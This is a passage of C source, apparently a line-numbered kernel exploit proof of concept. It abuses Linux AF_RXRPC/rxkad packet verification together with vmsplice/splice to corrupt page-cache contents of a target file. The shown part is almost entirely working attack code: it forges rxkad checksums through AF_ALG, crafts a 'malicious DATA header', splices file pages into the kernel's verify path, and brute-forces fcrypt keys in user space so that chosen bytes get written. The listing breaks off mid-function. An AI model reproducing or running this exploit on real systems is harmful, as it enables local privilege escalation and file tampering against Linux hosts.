CMSG_FIRSTHDR(&msg); 773 c->cmsg_level = SOL_ALG; 774 c->cmsg_type = ALG_SET_OP; 775 c->cmsg_len = CMSG_LEN(sizeof(int)); 776 *(int *)CMSG_DATA(c) = op; 777 778 c = CMSG_NXTHDR(&msg, c); 779 c->cmsg_level = SOL_ALG; 780 c->cmsg_type = ALG_SET_IV; 781 c->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + 8); 782 struct af_alg_iv *aiv = (struct af_alg_iv *)CMSG_DATA(c); 783 aiv->ivlen = 8; 784 memcpy(aiv->iv, iv, 8); 785 786 struct iovec iov = { .iov_base = (void *)in, .iov_len = inlen }; 787 msg.msg_iov = &iov; msg.msg_iovlen = 1; 788 789 if (sendmsg(op_fd, &msg, 0) < 0) { 790 WARN("AF_ALG sendmsg: %s", strerror(errno)); 791 close(op_fd); return -1; 792 } 793 ssize_t n = read(op_fd, out, inlen); 794 close(op_fd); 795 if (n != (ssize_t)inlen) { 796 WARN("AF_ALG read got %zd want %zu: %s", 797 n, inlen, strerror(errno)); 798 return -1; 799 } 800 return 0; 801 } 802 803 /* Compute conn->rxkad.csum_iv (ref: rxkad_prime_packet_security): 804 * tmpbuf[0..3] = htonl(epoch, cid, 0, security_ix) (16 B) 805 * PCBC-encrypt(tmpbuf, IV=session_key) → out[16] 806 * csum_iv = out[8..15] (last 8 B = "tmpbuf[2..3]" after encryption) 807 */ 808 static int compute_csum_iv(uint32_t epoch, uint32_t cid, uint32_t sec_ix, 809 const uint8_t key[8], uint8_t csum_iv[8]) 810 { 811 int s = alg_open_pcbc_fcrypt(key); 812 if (s < 0) return -1; 813 uint32_t in[4] = { htonl(epoch), htonl(cid), 0, htonl(sec_ix) }; 814 uint8_t out[16]; 815 int rc = alg_op(s, ALG_OP_ENCRYPT, key, in, 16, out); 816 close(s); 817 if (rc < 0) return -1; 818 memcpy(csum_iv, out + 8, 8); 819 return 0; 820 } 821 822 /* Compute the wire cksum (ref: rxkad_secure_packet @rxkad.c:342): 823 * x = (cid_low2 << 30) | (seq & 0x3fffffff) 824 * buf[0] = htonl(call_id), buf[1] = htonl(x) (8 B) 825 * PCBC-encrypt(buf, IV=csum_iv) → enc[8] 826 * y = ntohl(enc[1]); cksum = (y >> 16) & 0xffff; if zero -> 1 827 */ 828 static int compute_cksum(uint32_t cid, uint32_t call_id, uint32_t seq, 829 const uint8_t key[8], const uint8_t csum_iv[8], 830 uint16_t *cksum_out) 831 { 832 int s = alg_open_pcbc_fcrypt(key); 833 if (s < 0) return -1; 834 uint32_t x = (cid & RXRPC_CHANNELMASK) << (32 - RXRPC_CIDSHIFT); 835 x |= seq & 0x3fffffff; 836 uint32_t in[2] = { htonl(call_id), htonl(x) }; 837 uint32_t out[2]; 838 int rc = alg_op(s, ALG_OP_ENCRYPT, csum_iv, in, 8, out); 839 close(s); 840 if (rc < 0) return -1; 841 uint32_t y = ntohl(out[1]); 842 uint16_t v = (y >> 16) & 0xffff; 843 if (v == 0) v = 1; 844 *cksum_out = v; 845 return 0; 846 } 847 848 /* =================================================================== */ 849 /* AF_RXRPC client */ 850 /* =================================================================== */ 851 852 static int setup_rxrpc_client(uint16_t local_port, const char *keyname) 853 { 854 int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); 855 if (fd < 0) { WARN("socket(AF_RXRPC client): %s", strerror(errno)); return -1; } 856 if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY, 857 keyname, strlen(keyname)) < 0) { 858 WARN("client SECURITY_KEY: %s", strerror(errno)); close(fd); return -1; 859 } 860 int min_level = RXRPC_SECURITY_AUTH; 861 if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL, 862 &min_level, sizeof(min_level)) < 0) { 863 WARN("client MIN_SECURITY_LEVEL: %s", strerror(errno)); 864 close(fd); return -1; 865 } 866 struct sockaddr_rxrpc srx = {0}; 867 srx.srx_family = AF_RXRPC; 868 srx.srx_service = 0; 869 srx.transport_type = SOCK_DGRAM; 870 srx.transport_len = sizeof(struct sockaddr_in); 871 srx.transport.sin.sin_family = AF_INET; 872 srx.transport.sin.sin_port = htons(local_port); 873 srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); 874 if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) { 875 WARN("client bind :%u: %s", local_port, strerror(errno)); 876 close(fd); return -1; 877 } 878 LOG("AF_RXRPC client bound :%u", local_port); 879 return fd; 880 } 881 882 static int rxrpc_client_initiate_call(int cli_fd, uint16_t srv_port, 883 uint16_t service_id, 884 unsigned long user_call_id) 885 { 886 char data[8] = "PINGPING"; 887 struct sockaddr_rxrpc srx = {0}; 888 srx.srx_family = AF_RXRPC; 889 srx.srx_service = service_id; 890 srx.transport_type = SOCK_DGRAM; 891 srx.transport_len = sizeof(struct sockaddr_in); 892 srx.transport.sin.sin_family = AF_INET; 893 srx.transport.sin.sin_port = htons(srv_port); 894 srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); 895 896 char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))]; 897 struct msghdr msg = {0}; 898 msg.msg_name = &srx; msg.msg_namelen = sizeof(srx); 899 struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) }; 900 msg.msg_iov = &iov; msg.msg_iovlen = 1; 901 msg.msg_control = cmsg_buf; msg.msg_controllen = sizeof(cmsg_buf); 902 struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg); 903 cmsg->cmsg_level = SOL_RXRPC; 904 cmsg->cmsg_type = RXRPC_USER_CALL_ID; 905 cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long)); 906 *(unsigned long *)CMSG_DATA(cmsg) = user_call_id; 907 908 /* Don't block forever if no reply ever comes through this single sendmsg. */ 909 int fl = fcntl(cli_fd, F_GETFL); 910 fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK); 911 912 ssize_t n = sendmsg(cli_fd, &msg, 0); 913 fcntl(cli_fd, F_SETFL, fl); 914 if (n < 0) { 915 if (errno == EAGAIN || errno == EWOULDBLOCK) { 916 LOG("client sendmsg returned EAGAIN (expected; kernel will keep " 917 "retrying handshake)"); 918 return 0; 919 } 920 WARN("client sendmsg: %s", strerror(errno)); 921 return -1; 922 } 923 LOG("client sendmsg %zd B → :%u (handshake will follow asynchronously)", 924 n, srv_port); 925 return 0; 926 } 927 928 /* =================================================================== */ 929 /* fake-server (plain UDP) */ 930 /* =================================================================== */ 931 932 static int setup_udp_server(uint16_t port) 933 { 934 int s = socket(AF_INET, SOCK_DGRAM, 0); 935 if (s < 0) { WARN("socket(udp server): %s", strerror(errno)); return -1; } 936 struct sockaddr_in sa = {0}; 937 sa.sin_family = AF_INET; 938 sa.sin_port = htons(port); 939 sa.sin_addr.s_addr = htonl(0x7F000001); 940 if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { 941 WARN("udp server bind :%u: %s", port, strerror(errno)); 942 close(s); return -1; 943 } 944 LOG("plain UDP fake-server bound :%u", port); 945 return s; 946 } 947 948 /* Receive one UDP datagram with timeout (ms). Returns bytes or -1. */ 949 static ssize_t udp_recv_to(int s, void *buf, size_t cap, 950 struct sockaddr_in *from, int timeout_ms) 951 { 952 struct pollfd pfd = { .fd = s, .events = POLLIN }; 953 int rc = poll(&pfd, 1, timeout_ms); 954 if (rc <= 0) return -1; 955 socklen_t fl = from ? sizeof(*from) : 0; 956 return recvfrom(s, buf, cap, 0, 957 (struct sockaddr *)from, from ? &fl : NULL); 958 } 959 960 /* =================================================================== */ 961 /* main PoC */ 962 /* =================================================================== */ 963 964 static int trigger_seq = 0; 965 966 static int do_one_trigger(int target_fd, off_t splice_off, size_t splice_len) 967 { 968 char keyname[32]; 969 snprintf(keyname, sizeof(keyname), "evil%d", trigger_seq++); 970 971 long key = add_rxrpc_key(keyname); 972 if (key < 0) { 973 if (trigger_seq < 5) WARN("add_rxrpc_key(%s): %s", keyname, strerror(errno)); 974 return -1; 975 } 976 977 /* Use varying ports so kernel TIME_WAIT / stale state does not bite. */ 978 uint16_t port_S = 7777 + (trigger_seq * 2 % 200); 979 uint16_t port_C = port_S + 1; 980 uint16_t svc_id = 1234; 981 982 int udp_srv = setup_udp_server(port_S); 983 if (udp_srv < 0) { 984 if (trigger_seq < 5) WARN("setup_udp_server(%u) failed", port_S); 985 syscall(SYS_keyctl, 3 /*KEYCTL_INVALIDATE*/, key); return -1; 986 } 987 988 int rxsk_cli = setup_rxrpc_client(port_C, keyname); 989 if (rxsk_cli < 0) { 990 if (trigger_seq < 5) WARN("setup_rxrpc_client(%u, %s) failed", port_C, keyname); 991 close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; 992 } 993 994 if (rxrpc_client_initiate_call(rxsk_cli, port_S, svc_id, 0xDEAD) < 0) { 995 if (trigger_seq < 5) WARN("rxrpc_client_initiate_call failed"); 996 close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; 997 } 998 999 uint8_t pkt[2048]; 1000 struct sockaddr_in cli_addr; 1001 ssize_t n = udp_recv_to(udp_srv, pkt, sizeof(pkt), &cli_addr, 1500); 1002 if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) { 1003 if (trigger_seq < 5) WARN("udp_recv_to: n=%zd errno=%s", n, strerror(errno)); 1004 close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; 1005 } 1006 struct rxrpc_wire_header *whdr_in = (struct rxrpc_wire_header *)pkt; 1007 uint32_t epoch = ntohl(whdr_in->epoch); 1008 uint32_t cid = ntohl(whdr_in->cid); 1009 uint32_t callN = ntohl(whdr_in->callNumber); 1010 uint16_t svc_in = ntohs(whdr_in->serviceId); 1011 uint16_t cli_port = ntohs(cli_addr.sin_port); 1012 1013 /* Send CHALLENGE */ 1014 { 1015 struct { 1016 struct rxrpc_wire_header hdr; 1017 struct rxkad_challenge ch; 1018 } __attribute__((packed)) c = {0}; 1019 c.hdr.epoch = htonl(epoch); 1020 c.hdr.cid = htonl(cid); 1021 c.hdr.callNumber = 0; c.hdr.seq = 0; 1022 c.hdr.serial = htonl(0x10000); 1023 c.hdr.type = RXRPC_PACKET_TYPE_CHALLENGE; 1024 c.hdr.securityIndex = 2; 1025 c.hdr.serviceId = htons(svc_in); 1026 c.ch.version = htonl(2); c.ch.nonce = htonl(0xDEADBEEFu); 1027 c.ch.min_level = htonl(1); 1028 struct sockaddr_in to = { .sin_family=AF_INET, .sin_port=htons(cli_port), 1029 .sin_addr.s_addr=htonl(0x7F000001) }; 1030 if (sendto(udp_srv, &c, sizeof(c), 0, (struct sockaddr*)&to, sizeof(to)) < 0) { 1031 close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; 1032 } 1033 } 1034 1035 /* Drain RESPONSE (best-effort) */ 1036 for (int i = 0; i < 4; i++) { 1037 struct sockaddr_in src; 1038 if (udp_recv_to(udp_srv, pkt, sizeof(pkt), &src, 500) < 0) break; 1039 } 1040 1041 /* csum + cksum with CURRENT SESSION_KEY */ 1042 uint8_t csum_iv[8] = {0}; 1043 if (compute_csum_iv(epoch, cid, 2, SESSION_KEY, csum_iv) < 0) { 1044 close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; 1045 } 1046 uint16_t cksum_h = 0; 1047 if (compute_cksum(cid, callN, 1, SESSION_KEY, csum_iv, &cksum_h) < 0) { 1048 close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; 1049 } 1050 1051 /* Build malicious DATA header */ 1052 struct rxrpc_wire_header mal = {0}; 1053 mal.epoch = htonl(epoch); 1054 mal.cid = htonl(cid); 1055 mal.callNumber = htonl(callN); 1056 mal.seq = htonl(1); 1057 mal.serial = htonl(0x42000); 1058 mal.type = RXRPC_PACKET_TYPE_DATA; 1059 mal.flags = RXRPC_LAST_PACKET; 1060 mal.securityIndex = 2; 1061 mal.cksum = htons(cksum_h); 1062 mal.serviceId = htons(svc_in); 1063 1064 /* connect udp_srv → client port for splice */ 1065 struct sockaddr_in dst = { .sin_family=AF_INET, .sin_port=htons(cli_port), 1066 .sin_addr.s_addr=htonl(0x7F000001) }; 1067 if (connect(udp_srv, (struct sockaddr*)&dst, sizeof(dst)) < 0) { 1068 close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; 1069 } 1070 1071 /* pipe + vmsplice header + splice file → pipe → udp_srv */ 1072 int p[2]; 1073 if (pipe(p) < 0) { 1074 close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; 1075 } 1076 { 1077 struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) }; 1078 if (vmsplice(p[1], &viv, 1, 0) < 0) goto trig_fail; 1079 } 1080 { 1081 loff_t off = splice_off; 1082 if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0) 1083 goto trig_fail; 1084 } 1085 if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0) { 1086 goto trig_fail; 1087 } 1088 close(p[0]); close(p[1]); 1089 1090 /* recvmsg the malicious DATA into the kernel's verify_packet path */ 1091 int fl = fcntl(rxsk_cli, F_GETFL); 1092 fcntl(rxsk_cli, F_SETFL, fl | O_NONBLOCK); 1093 for (int round = 0; round < 5; round++) { 1094 char rb[2048]; 1095 struct sockaddr_rxrpc srx; 1096 char ccb[256]; 1097 struct msghdr m = {0}; 1098 struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) }; 1099 m.msg_name = &srx; m.msg_namelen = sizeof(srx); 1100 m.msg_iov = &iv; m.msg_iovlen = 1; 1101 m.msg_control = ccb; m.msg_controllen = sizeof(ccb); 1102 ssize_t r = recvmsg(rxsk_cli, &m, 0); 1103 if (r > 0) break; 1104 if (errno == EAGAIN || errno == EWOULDBLOCK) usleep(20000); 1105 else break; 1106 } 1107 fcntl(rxsk_cli, F_SETFL, fl); 1108 1109 close(rxsk_cli); 1110 close(udp_srv); 1111 syscall(SYS_keyctl, 3, key); 1112 return 0; 1113 1114 trig_fail: 1115 close(p[0]); close(p[1]); 1116 close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); 1117 return -1; 1118 } 1119 1120 /* =================================================================== 1121 * USER-SPACE pcbc(fcrypt) BRUTE-FORCE 1122 * 1123 * The kernel's rxkad_verify_packet_1() does an in-place 8-byte 1124 * pcbc(fcrypt) decrypt with iv=0 over the page-cache page at the splice 1125 * offset. pcbc with single 8-B block and IV=0 reduces to a plain 1126 * fcrypt_decrypt(C, K). We can therefore search for the right K 1127 * entirely in user-space — without touching the kernel/VM at all — 1128 * before applying ONE deterministic kernel trigger. 1129 * 1130 * Port of crypto/fcrypt.c from the kernel source (David Howells / KTH). 1131 * Verified against kernel test vectors: 1132 * K=0, decrypt(0E0900C73EF7ED41) = 00000000 1133 * K=1144...66, decrypt(D8ED787477EC0680) = 123456789ABCDEF0 1134 * =================================================================== */ 1135 1136 static const uint8_t fc_sbox0_raw[256] = { 1137 0xea, 0x7f, 0xb2, 0x64, 0x9d, 0xb0, 0xd9, 0x11, 0xcd, 0x86, 0x86, 0x91, 0x0a, 0xb2, 0x93, 0x06, 1138 0x0e, 0x06, 0xd2, 0x65, 0x73, 0xc5, 0x28, 0x60, 0xf2, 0x20, 0xb5, 0x38, 0x7e, 0xda, 0x9f, 0xe3, 1139 0xd2, 0xcf, 0xc4, 0x3c, 0x61, 0xff, 0x4a, 0x4a, 0x35, 0xac, 0xaa, 0x5f, 0x2b, 0xbb, 0xbc, 0x53, 1140 0x4e, 0x9d, 0x78, 0xa3, 0xdc, 0x09, 0x32, 0x10, 0xc6, 0x6f, 0x66, 0xd6, 0xab, 0xa9, 0xaf, 0xfd, 1141 0x3b, 0x95, 0xe8, 0x34, 0x9a, 0x81, 0x72, 0x80, 0x9c, 0xf3, 0xec, 0xda, 0x9f, 0x26, 0x76, 0x15, 1142 0x3e, 0x55, 0x4d, 0xde, 0x84, 0xee, 0xad, 0xc7, 0xf1, 0x6b, 0x3d, 0xd3, 0x04, 0x49, 0xaa, 0x24, 1143 0x0b, 0x8a, 0x83, 0xba, 0xfa, 0x85, 0xa0, 0xa8, 0xb1, 0xd4, 0x01, 0xd8, 0x70, 0x64, 0xf0, 0x51, 1144 0xd2, 0xc3, 0xa7, 0x75, 0x8c, 0xa5, 0x64, 0xef, 0x10, 0x4e, 0xb7, 0xc6, 0x61, 0x03, 0xeb, 0x44, 1145 0x3d, 0xe5, 0xb3, 0x5b, 0xae, 0xd5, 0xad, 0x1d, 0xfa, 0x5a, 0x1e, 0x33, 0xab, 0x93, 0xa2, 0xb7, 1146 0xe7, 0xa8, 0x45, 0xa4, 0xcd, 0x29, 0x63, 0x44, 0xb6, 0x69, 0x7e, 0x2e, 0x62, 0x03, 0xc8, 0xe0, 1147 0x17, 0xbb, 0xc7, 0xf3, 0x3f, 0x36, 0xba, 0x71, 0x8e, 0x97, 0x65, 0x60, 0x69, 0xb6, 0xf6, 0xe6, 1148 0x6e, 0xe0, 0x81, 0x59, 0xe8, 0xaf, 0xdd, 0x95, 0x22, 0x99, 0xfd, 0x63, 0x19, 0x74, 0x61, 0xb1, 1149 0xb6, 0x5b, 0xae, 0x54, 0xb3, 0x70, 0xff, 0xc6, 0x3b, 0x3e, 0xc1, 0xd7, 0xe1, 0x0e, 0x76, 0xe5, 1150 0x36, 0x4f, 0x59, 0xc7, 0x08, 0x6e, 0x82, 0xa6, 0x93, 0xc4, 0xaa, 0x26, 0x49, 0xe0, 0x21, 0x64, 1151 0x07, 0x9f, 0x64, 0x81, 0x9c, 0xbf, 0xf9, 0xd1, 0x43, 0xf8, 0xb6, 0xb9, 0xf1, 0x24, 0x75, 0x03, 1152 0xe4, 0xb0, 0x99, 0x46, 0x3d, 0xf5, 0xd1, 0x39, 0x72, 0x12, 0xf6, 0xba, 0x0c, 0x0d, 0x42, 0x2e, 1153 }; 1154 static const uint8_t fc_sbox1_raw[256] = { 1155 0x77, 0x14, 0xa6, 0xfe, 0xb2, 0x5e, 0x8c, 0x3e, 0x67, 0x6c, 0xa1, 0x0d, 0xc2, 0xa2, 0xc1, 0x85, 1156 0x6c, 0x7b, 0x67, 0xc6, 0x23, 0xe3, 0xf2, 0x89, 0x50, 0x9c, 0x03, 0xb7, 0x73, 0xe6, 0xe1, 0x39, 1157 0x31, 0x2c, 0x27, 0x9f, 0xa5, 0x69, 0x44, 0xd6, 0x23, 0x83, 0x98, 0x7d, 0x3c, 0xb4, 0x2d, 0x99, 1158 0x1c, 0x1f, 0x8c, 0x20, 0x03, 0x7c, 0x5f, 0xad, 0xf4, 0xfa, 0x95, 0xca, 0x76, 0x44, 0xcd, 0xb6, 1159 0xb8, 0xa1, 0xa1, 0xbe, 0x9e, 0x54, 0x8f, 0x0b, 0x16, 0x74, 0x31, 0x8a, 0x23, 0x17, 0x04, 0xfa, 1160 0x79, 0x84, 0xb1, 0xf5, 0x13, 0xab, 0xb5, 0x2e, 0xaa, 0x0c, 0x60, 0x6b, 0x5b, 0xc4, 0x4b, 0xbc, 1161 0xe2, 0xaf, 0x45, 0x73, 0xfa, 0xc9, 0x49, 0xcd, 0x00, 0x92, 0x7d, 0x97, 0x7a, 0x18, 0x60, 0x3d, 1162 0xcf, 0x5b, 0xde, 0xc6, 0xe2, 0xe6, 0xbb, 0x8b, 0x06, 0xda, 0x08, 0x15, 0x1b, 0x88, 0x6a, 0x17, 1163 0x89, 0xd0, 0xa9, 0xc1, 0xc9, 0x70, 0x6b, 0xe5, 0x43, 0xf4, 0x68, 0xc8, 0xd3, 0x84, 0x28, 0x0a, 1164 0x52, 0x66, 0xa3, 0xca, 0xf2, 0xe3, 0x7f, 0x7a, 0x31, 0xf7, 0x88, 0x94, 0x5e, 0x9c, 0x63, 0xd5, 1165 0x24, 0x66, 0xfc, 0xb3, 0x57, 0x25, 0xbe, 0x89, 0x44, 0xc4, 0xe0, 0x8f, 0x23, 0x3c, 0x12, 0x52, 1166 0xf5, 0x1e, 0xf4, 0xcb, 0x18, 0x33, 0x1f, 0xf8, 0x69, 0x10, 0x9d, 0xd3, 0xf7, 0x28, 0xf8, 0x30, 1167 0x05, 0x5e, 0x32, 0xc0, 0xd5, 0x19, 0xbd, 0x45, 0x8b, 0x5b, 0xfd, 0xbc, 0xe2, 0x5c, 0xa9, 0x96, 1168 0xef, 0x70, 0xcf, 0xc2, 0x2a, 0xb3, 0x61, 0xad, 0x80, 0x48, 0x81, 0xb7, 0x1d, 0x43, 0xd9, 0xd7, 1169 0x45, 0xf0, 0xd8, 0x8a, 0x59, 0x7c, 0x57, 0xc1, 0x79, 0xc7, 0x34, 0xd6, 0x43, 0xdf, 0xe4, 0x78, 1170 0x16, 0x06, 0xda, 0x92, 0x76, 0x51, 0xe1, 0xd4, 0x70, 0x03, 0xe0, 0x2f, 0x96, 0x91, 0x82, 0x80, 1171 }; 1172 static const uint8_t fc_sbox2_raw[256] = { 1173 0xf0, 0x37, 0x24, 0x53, 0x2a, 0x03, 0x83, 0x86, 0xd1, 0xec, 0x50, 0xf0, 0x42, 0x78, 0x2f, 0x6d, 1174 0xbf, 0x80, 0x87, 0x27, 0x95, 0xe2, 0xc5, 0x5d, 0xf9, 0x6f, 0xdb, 0xb4, 0x65, 0x6e, 0xe7, 0x24, 1175 0xc8, 0x1a, 0xbb, 0x49, 0xb5, 0x0a, 0x7d, 0xb9, 0xe8, 0xdc, 0xb7, 0xd9, 0x45, 0x20, 0x1b, 0xce, 1176 0x59, 0x9d, 0x6b, 0xbd, 0x0e, 0x8f, 0xa3, 0xa9, 0xbc, 0x74, 0xa6, 0xf6, 0x7f, 0x5f, 0xb1, 0x68, 1177 0x84, 0xbc, 0xa9, 0xfd, 0x55, 0x50, 0xe9, 0xb6, 0x13, 0x5e, 0x07, 0xb8, 0x95, 0x02, 0xc0, 0xd0, 1178 0x6a, 0x1a, 0x85, 0xbd, 0xb6, 0xfd, 0xfe, 0x17, 0x3f, 0x09, 0xa3, 0x8d, 0xfb, 0xed, 0xda, 0x1d, 1179 0x6d, 0x1c, 0x6c, 0x01, 0x5a, 0xe5, 0x71, 0x3e, 0x8b, 0x6b, 0xbe, 0x29, 0xeb, 0x12, 0x19, 0x34, 1180 0xcd, 0xb3, 0xbd, 0x35, 0xea, 0x4b, 0xd5, 0xae, 0x2a, 0x79, 0x5a, 0xa5, 0x32, 0x12, 0x7b, 0xdc, 1181 0x2c, 0xd0, 0x22, 0x4b, 0xb1, 0x85, 0x59, 0x80, 0xc0, 0x30, 0x9f, 0x73, 0xd3, 0x14, 0x48, 0x40, 1182 0x07, 0x2d, 0x8f, 0x80, 0x0f, 0xce, 0x0b, 0x5e, 0xb7, 0x5e, 0xac, 0x24, 0x94, 0x4a, 0x18, 0x15, 1183 0x05, 0xe8, 0x02, 0x77, 0xa9, 0xc7, 0x40, 0x45, 0x89, 0xd1, 0xea, 0xde, 0x0c, 0x79, 0x2a, 0x99, 1184 0x6c, 0x3e, 0x95, 0xdd, 0x8c, 0x7d, 0xad, 0x6f, 0xdc, 0xff, 0xfd, 0x62, 0x47, 0xb3, 0x21, 0x8a, 1185 0xec, 0x8e, 0x19, 0x18, 0xb4, 0x6e, 0x3d, 0xfd, 0x74, 0x54, 0x1e, 0x04, 0x85, 0xd8, 0xbc, 0x1f, 1186 0x56, 0xe7, 0x3a, 0x56, 0x67, 0xd6, 0xc8, 0xa5, 0xf3, 0x8e, 0xde, 0xae, 0x37, 0x49, 0xb7, 0xfa, 1187 0xc8, 0xf4, 0x1f, 0xe0, 0x2a, 0x9b, 0x15, 0xd1, 0x34, 0x0e, 0xb5, 0xe0, 0x44, 0x78, 0x84, 0x59, 1188 0x56, 0x68, 0x77, 0xa5, 0x14, 0x06, 0xf5, 0x2f, 0x8c, 0x8a, 0x73, 0x80, 0x76, 0xb4, 0x10, 0x86, 1189 }; 1190 static const uint8_t fc_sbox3_raw[256] = { 1191 0xa9, 0x2a, 0x48, 0x51, 0x84, 0x7e, 0x49, 0xe2, 0xb5, 0xb7, 0x42, 0x33, 0x7d, 0x5d, 0xa6, 0x12, 1192 0x44, 0x48, 0x6d, 0x28, 0xaa, 0x20, 0x6d, 0x57, 0xd6, 0x6b, 0x5d, 0x72, 0xf0, 0x92, 0x5a, 0x1b, 1193 0x53, 0x80, 0x24, 0x70, 0x9a, 0xcc, 0xa7, 0x66, 0xa1, 0x01, 0xa5, 0x41, 0x97, 0x41, 0x31, 0x82, 1194 0xf1, 0x14, 0xcf, 0x53, 0x0d, 0xa0, 0x10, 0xcc, 0x2a, 0x7d, 0xd2, 0xbf, 0x4b, 0x1a, 0xdb, 0x16, 1195 0x47, 0xf6, 0x51, 0x36, 0xed, 0xf3, 0xb9, 0x1a, 0xa7, 0xdf, 0x29, 0x43, 0x01, 0x54, 0x70, 0xa4, 1196 0xbf, 0xd4, 0x0b, 0x53, 0x44, 0x60, 0x9e, 0x23, 0xa1, 0x18, 0x68, 0x4f, 0xf0, 0x2f, 0x82, 0xc2, 1197 0x2a, 0x41, 0xb2, 0x42, 0x0c, 0xed, 0x0c, 0x1d, 0x13, 0x3a, 0x3c, 0x6e, 0x35, 0xdc, 0x60, 0x65, 1198 0x85, 0xe9, 0x64, 0x02, 0x9a, 0x3f, 0x9f, 0x87, 0x96, 0xdf, 0xbe, 0xf2, 0xcb, 0xe5, 0x6c, 0xd4, 1199 0x5a, 0x83, 0xbf, 0x92, 0x1b, 0x94, 0x00, 0x42, 0xcf, 0x4b, 0x00, 0x75, 0xba, 0x8f, 0x76, 0x5f, 1200 0x5d, 0x3a, 0x4d, 0x09, 0x12, 0x08, 0x38, 0x95, 0x17, 0xe4, 0x01, 0x1d, 0x4c, 0xa9, 0xcc, 0x85, 1201 0x82, 0x4c, 0x9d, 0x2f, 0x3b, 0x66, 0xa1, 0x34, 0x10, 0xcd, 0x59, 0x89, 0xa5, 0x31, 0xcf, 0x05, 1202 0xc8, 0x84, 0xfa, 0xc7, 0xba, 0x4e, 0x8b, 0x1a, 0x19, 0xf1, 0xa1, 0x3b, 0x18, 0x12, 0x17, 0xb0, 1203 0x98, 0x8d, 0x0b, 0x23, 0xc3, 0x3a, 0x2d, 0x20, 0xdf, 0x13, 0xa0, 0xa8, 0x4c, 0x0d, 0x6c, 0x2f, 1204 0x47, 0x13, 0x13, 0x52, 0x1f, 0x2d, 0xf5, 0x79, 0x3d, 0xa2, 0x54, 0xbd, 0x69, 0xc8, 0x6b, 0xf3, 1205 0x05, 0x28, 0xf1, 0x16, 0x46, 0x40, 0xb0, 0x11, 0xd3, 0xb7, 0x95, 0x49, 0xcf, 0xc3, 0x1d, 0x8f, 1206 0xd8, 0xe1, 0x73, 0xdb, 0xad, 0xc8, 0xc9, 0xa9, 0xa1, 0xc2, 0xc5, 0xe3, 0xba, 0xfc, 0x0e, 0x25, 1207 }; 1208 1209 static uint32_t fc_sbox0[256], fc_sbox1[256], fc_sbox2[256], fc_sbox3[256]; 1210 1211 #include <endian.h> 1212 1213 static void fcrypt_init_sboxes(void) 1214 { 1215 for (int i = 0; i < 256; i++) { 1216 fc_sbox0[i] = htobe32((uint32_t)fc_sbox0_raw[i] << 3); 1217 fc_sbox1[i] = htobe32(((uint32_t)(fc_sbox1_raw[i] & 0x1f) << 27) | 1218 ((uint32_t)fc_sbox1_raw[i] >> 5)); 1219 fc_sbox2[i] = htobe32((uint32_t)fc_sbox2_raw[i] << 11); 1220 fc_sbox3[i] = htobe32((uint32_t)fc_sbox3_raw[i] << 19); 1221 } 1222 } 1223 1224 #define fc_ror56_64(k, n) \ 1225 (k = (k >> (n)) | ((k & ((1ULL << (n)) - 1)) << (56 - (n)))) 1226 1227 typedef struct { uint32_t sched[16]; } fcrypt_uctx; 1228 1229 static void fcrypt_user_setkey(fcrypt_uctx *ctx, const uint8_t key[8]) 1230 { 1231 uint64_t k = 0; 1232 k = (uint64_t)(key[0] >> 1); 1233 k <<= 7; k |= (uint64_t)(key[1] >> 1); 1234 k <<= 7; k |= (uint64_t)(key[2] >> 1); 1235 k <<= 7; k |= (uint64_t)(key[3] >> 1); 1236 k <<= 7; k |= (uint64_t)(key[4] >> 1); 1237 k <<= 7; k |= (uint64_t)(key[5] >> 1); 1238 k <<= 7; k |= (uint64_t)(key[6] >> 1); 1239 k <<= 7; k |= (uint64_t)(key[7] >> 1); 1240 1241 ctx->sched[0x0] = htobe32((uint32_t)k); fc_ror56_64(k, 11); 1242 ctx->sched[0x1] = htobe32((uint32_t)k); fc_ror56_64(k, 11); 1243 ctx->sched[0x2] = htobe32((uint32_t)k); fc_ror56_64(k, 11); 1244 ctx->sched[0x3] = htobe32((uint32_t)k); fc_ror56_64(k, 11); 1245 ctx->sched[0x4] = htobe32((uint32_t)k); fc_ror56_64(k, 11); 1246 ctx->sched[0x5] = htobe32((uint32_t)k); fc_ror56_64(k, 11); 1247 ctx->sched[0x6] = htobe32((uint32_t)k); fc_ror56_64(k, 11); 1248 ctx->sched[0x7] = htobe32((uint32_t)k); fc_ror56_64(k, 11); 1249 ctx->sched[0x8] = htobe32((uint32_t)k); fc_ror56_64(k, 11); 1250 ctx->sched[0x9] = htobe32((uint32_t)k); fc_ror56_64(k, 11); 1251 ctx->sched[0xa] = htobe32((uint32_t)k); fc_ror56_64(k, 11); 1252 ctx->sched[0xb] = htobe32((uint32_t)k); fc_ror56_64(k, 11); 1253 ctx->sched[0xc] = htobe32((uint32_t)k); fc_ror56_64(k, 11); 1254 ctx->sched[0xd] = htobe32((uint32_t)k); fc_ror56_64(k, 11); 1255 ctx->sched[0xe] = htobe32((uint32_t)k); fc_ror56_64(k, 11); 1256 ctx->sched[0xf] = 